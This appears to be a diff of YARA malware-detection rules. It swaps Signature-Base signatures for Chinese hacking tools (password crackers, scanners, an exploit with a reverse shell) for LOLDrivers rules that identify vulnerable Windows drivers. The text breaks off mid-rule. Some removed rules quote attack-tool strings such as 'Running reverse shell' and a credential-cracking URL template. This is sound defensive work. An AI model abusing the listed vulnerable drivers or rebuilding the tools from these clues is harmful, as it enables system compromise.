-		description = "Chinese Hacktool Set - file SwitchSniffer.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "6019f042-10ab-5899-8b1b-28b2609e9623"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L640-L654"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1e7507162154f67dff4417f1f5d18b4ade5cf0cd"
-		logic_hash = "4c75473399a7d47b63c6247248fd2792c675740ac671028b1c0a8ba1a02f35aa"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ngiodriver.sys"
+		author = "Florian Roth"
+		id = "69622a5d-bccf-51cc-8e8b-f1792c89275a"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9472-L9492"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "733789d0a253e8d80cc3240e365b8d4274e510e36007f6e4b5fd13b07b084c3e"
+		hash = "d1463b7fec911c10a8c96d84eb7c0f9e95fa488d826647a591a38c0593f812a4"
+		logic_hash = "9f3772548952491a3c20cdecdba491017a7bb7c113360feae778426539e5d9b8"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "NextSecurity.NET" fullword wide
-		$s2 = "SwitchSniffer Setup" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0061007600610073007400210020004e0047002000730065007400750070002000680065006c0070006500720020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e0030002e003200300037 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e0030002e003200300037 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e00670069006f006400720069007600650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100760061007300740020004e0047 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00670069006f006400720069007600650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003400200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Dbexpora : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Aegis_ADC1 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file dbexpora.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "43297ce9-60f3-5b69-b7d8-904fffe622fe"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L656-L671"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b55b007ef091b2f33f7042814614564625a8c79f"
-		logic_hash = "2dad6cedae6a3a446c2c4829516bffa5608ea4d1c13c907796cf4d13ec37965e"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "77819373-6f49-56bc-8636-d25cd75491b7"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9495-L9514"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "adc10de960f40fa9f6e28449748250fa9ddfd331115b77a79809a50c606753ee"
+		logic_hash = "896055705d276e007082616e944be968d90087798e3c4cfcc35c3ecaf3a781b0"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "SELECT A.USER FROM SYS.USER_USERS A " fullword ascii
-		$s12 = "OCI 8 - OCIDescriptorFree" fullword ascii
-		$s13 = "ORACommand *" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0030002e0031003000310036 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410045004700490053 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000380020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <835KB and all of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Sqlcracker : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrwinddkprovider_Sbiosiosys_Samsungrbiosiodriver_1E24 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file SQLCracker.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7d7ff2cf-81fb-5a04-a97f-577c306137a9"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L673-L690"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1aa5755da1a9b050c4c49fc5c58fa133b8380410"
-		logic_hash = "3724f4b746da413f99880564ae72bc0de867120f1f7eacaf856d42492ebe359e"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SBIOSIO64.sys"
+		author = "Florian Roth"
+		id = "e8515bb1-cf81-510a-9d48-7fd353c6c37a"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9517-L9537"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "1e24c45ce2672ee403db34077c88e8b7d7797d113c6fd161906dce3784da627d"
+		hash = "39336e2ce105901ab65021d6fdc3932d3d6aab665fe4bd55aa1aa66eb0de32f0"
+		logic_hash = "d9be90591690481e778ebb8a18c633d7ceccdaafa3989352d94bd1995e3470f4"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "msvbvm60.dll" fullword ascii
-		$s1 = "_CIcos" fullword ascii
-		$s2 = "kernel32.dll" fullword ascii
-		$s3 = "cKmhV" fullword ascii
-		$s4 = "080404B0" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005300420049004f00530049004f0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030003000300030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030003000300030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]005300420049004f00530049004f00360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530061006d00730075006e00670020002800520029002000420049004f005300200049004f0020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]005300420049004f00530049004f00360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000530061006d00730075006e006700200045006c0065006300740072006f006e006900630073002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <125KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Freeversion_Debug : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_9491 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file debug.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2d69a39a-0da5-56ca-87a5-9116dea6c950"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L692-L711"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d11e6c6f675b3be86e37e50184dadf0081506a89"
-		logic_hash = "f7f8302c70c5aed1885724a1bca4efdf0547cc5be62e7dd6bcd8cc2079f71f96"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "1ac2562c-9d06-5372-bc45-e9491a7bfeea"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9540-L9559"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "94911fe6f2aba9683b10353094caf71ee4a882de63b4620797629d79f18feec5"
+		logic_hash = "45bd63fd965c9c40b0d687af623f58922c708608a25e58b2c1ad436312e6284d"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "c:\\Documents and Settings\\Administrator\\" ascii
-		$s1 = "Got WMI process Pid: %d" ascii
-		$s2 = "This exploit will execute" ascii
-		$s6 = "Found token %s " ascii
-		$s7 = "Running reverse shell" ascii
-		$s10 = "wmiprvse.exe" fullword ascii
-		$s12 = "SELECT * FROM IIsWebInfo" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0034002e00380033002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0034002e00380033002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <820KB and 3 of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Dos_Look : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Fujitsulimited_Advdrvsys_Microsoftrwindowsroperatingsystem_04A8 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file look.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "910d1469-9173-5a7d-91ea-a50ee921f662"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L713-L728"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e1a37f31170e812185cf00a838835ee59b8f64ba"
-		logic_hash = "341c72eaa5db1953e008423374c3f322de0f8dc33fd8181362172982b52e2b8a"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ADV64DRV.sys"
+		author = "Florian Roth"
+		id = "fa878fd1-9d19-561e-bd01-b4693a48f480"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9562-L9580"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "04a85e359525d662338cae86c1e59b1d7aa9bd12b920e8067503723dc1e03162"
+		logic_hash = "7b98ca983166c65065b6fe146957ac438426c0ad2566016e0a61ca3be68f163e"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "<description>CHKen QQ:41901298</description>" fullword ascii
-		$s2 = "version=\"9.9.9.9\"" fullword ascii
-		$s3 = "name=\"CH.Ken.Tool\"" fullword ascii
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00460055004a00490054005300550020004c0049004d0049005400450044002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002c00200030002c00200030002c00200030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002c00200030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00410044005600360034004400520056002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f006600740052002000570069006e0064006f0077007300520020004f007000650072006100740069006e0067002000530079007300740065006d }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00410044005600360034004400520056002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002800430029002000460055004a00490054005300550020004c0049004d004900540045004400200032003000300035 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <40KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Ntgodmode : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_FF96 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file NtGodMode.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3de620bf-0405-536b-9f6d-3a7f02417b20"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L730-L747"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8baac735e37523d28fdb6e736d03c67274f7db77"
-		logic_hash = "55efa908ebfcede207d3fe0b1072cce262af0e627e91ba8746e7a8924b8e75bd"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
+		author = "Florian Roth"
+		id = "aa757ead-9ab0-5c5f-ba50-f310130e3d08"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9583-L9602"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ff9623317287358440ec67da9ba79994d9b17b99ffdd709ec836478fe1fc22a5"
+		logic_hash = "d47eec2132d31ce4f4009456805e7b75e43054edf13c3f056416638cf3928e41"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-
-	strings:
-		$s0 = "to HOST!" fullword ascii
-		$s1 = "SS.EXE" fullword ascii
-		$s5 = "lstrlen0" fullword ascii
-		$s6 = "Virtual" fullword ascii
-		$s19 = "RtlUnw" fullword ascii
+
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0034002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0034002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003900200041004d0044002c00200049006e0063002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <45KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Webcrack4_Routerpasswordcracking : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Sunmicrosystemsinc_Vboxtapsys_Virtualboxhostinterfacenetworkingdriver_CFA2 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file WebCrack4-RouterPasswordCracking.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e3d50ff8-e58d-5c60-9acd-25ba95a21f68"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L749-L766"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "00c68d1b1aa655dfd5bb693c13cdda9dbd34c638"
-		logic_hash = "48456f82163806852ecef3d71c2c8247f6c74c31ce28472c80a914a98247bdb3"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxTAP.sys"
+		author = "Florian Roth"
+		id = "657161e9-b714-5bd9-bbb7-5ad7df6a83c5"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9605-L9624"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "cfa28e2f624f927d4cbd2952306570d86901d2f24e3d07cc6277e98289d09783"
+		logic_hash = "1fefb271c505de9c1d08d558a53f8150cb8724b1b97ac2014f30d2c593f05f6b"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "http://www.site.com/test.dll?user=%USERNAME&pass=%PASSWORD" fullword ascii
-		$s1 = "Username: \"%s\", Password: \"%s\", Remarks: \"%s\"" fullword ascii
-		$s14 = "user:\"%s\" pass: \"%s\" result=\"%s\"" fullword ascii
-		$s16 = "Mozilla/4.0 (compatible; MSIE 4.01; Windows NT)" fullword ascii
-		$s20 = "List count out of bounds (%d)+Operation not allowed on sorted string list%String" wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200048006f0073007400200049006e00740065007200660061006300650020004e006500740077006f0072006b0069006e00670020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0038002f0032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0038002f0032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078005400410050002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072007400750061006c0042006f007800200048006f0073007400200049006e00740065007200660061006300650020004e006500740077006f0072006b0069006e00670020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078005400410050002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e002000260020004f00740068006500720073 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5000KB and 2 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Hscan_Gui : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Generalelectriccompany_Gedevicedriver_Proficymachineedition_Build_A369 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file hscan-gui.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "27f9d2e9-0a62-57ca-9061-c32945c59c7e"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L768-L783"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1885f0b7be87f51c304b39bc04b9423539825c69"
-		logic_hash = "c87cfe78324638ac9d35c7fd1e47f24014c470b0892ceceaf394278d9706157b"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - GEDevDrv.SYS"
+		author = "Florian Roth"
+		id = "c9951c04-1a18-53df-abaa-bfcd7c0a1aec"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9627-L9647"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "a369942ce8d4b70ebf664981e12c736ec980dbe5a74585dd826553c4723b1bce"
+		hash = "ae73dd357e5950face9c956570088f334d18464cd49f00c56420e3d6ff47e8dc"
+		logic_hash = "e9af30ff414f7c42b656519453924a90be7cf567c5d5ac6c29713d6799a369c1"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Hscan.EXE" fullword wide
-		$s1 = "RestTool.EXE" fullword ascii
-		$s3 = "Hscan Application " fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004500200044006500760069006300650020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00470065006e006500720061006c00200045006c00650063007400720069006300200043006f006d00700061006e0079 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0039002e0035003000200028004200750069006c0064002000370036003700370029 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0039002e0035003000200028004200750069006c0064002000370036003700370029 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0047004500200044006500760069006300650020004400720069007600650072 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00660069006300790020004d0061006300680069006e0065002000450064006900740069006f006e }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00470045004400650076004400720076002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a900200032003000310037002000470065006e006500720061006c00200045006c00650063007400720069006300200043006f006d00700061006e0079 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <550KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_S_Multifunction_Scanners_S : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Ngiodriversys_Avastng_85FD : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file s.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7fb90a59-116d-5fa7-b85b-cbb1af660666"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L785-L809"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "79b60ffa1c0f73b3c47e72118e0f600fcd86b355"
-		logic_hash = "96f0692c54d74388f8602a03475d95a2fcd89692dd189f9363592745a70c234b"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ngiodriver.sys"
+		author = "Florian Roth"
+		id = "50552007-935f-5476-a596-6052030c08c4"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9650-L9669"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "85fdd255c5d7add25fd7cd502221387a5e11f02144753890218dd31a8333a1a3"
+		logic_hash = "dd2e7c64c1f0139e2c365e8f726e026c66857334dbfd29eda3ebffa483677b5f"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "C:\\WINDOWS\\temp\\pojie.exe /l=" fullword ascii
-		$s1 = "C:\\WINDOWS\\temp\\s.exe" fullword ascii
-		$s2 = "C:\\WINDOWS\\temp\\s.exe tcp " fullword ascii
-		$s3 = "explorer.exe http://www.hackdos.com" fullword ascii
-		$s4 = "C:\\WINDOWS\\temp\\pojie.exe" fullword ascii
-		$s5 = "Failed to read file or invalid data in file!" fullword ascii
-		$s6 = "www.hackdos.com" fullword ascii
-		$s7 = "WTNE / MADE BY E COMPILER - WUTAO " fullword ascii
-		$s11 = "The interface of kernel library is invalid!" fullword ascii
-		$s12 = "eventvwr" fullword ascii
-		$s13 = "Failed to decompress data!" fullword ascii
-		$s14 = "NOTEPAD.EXE result.txt" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0061007600610073007400210020004e0047002000730065007400750070002000680065006c0070006500720020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
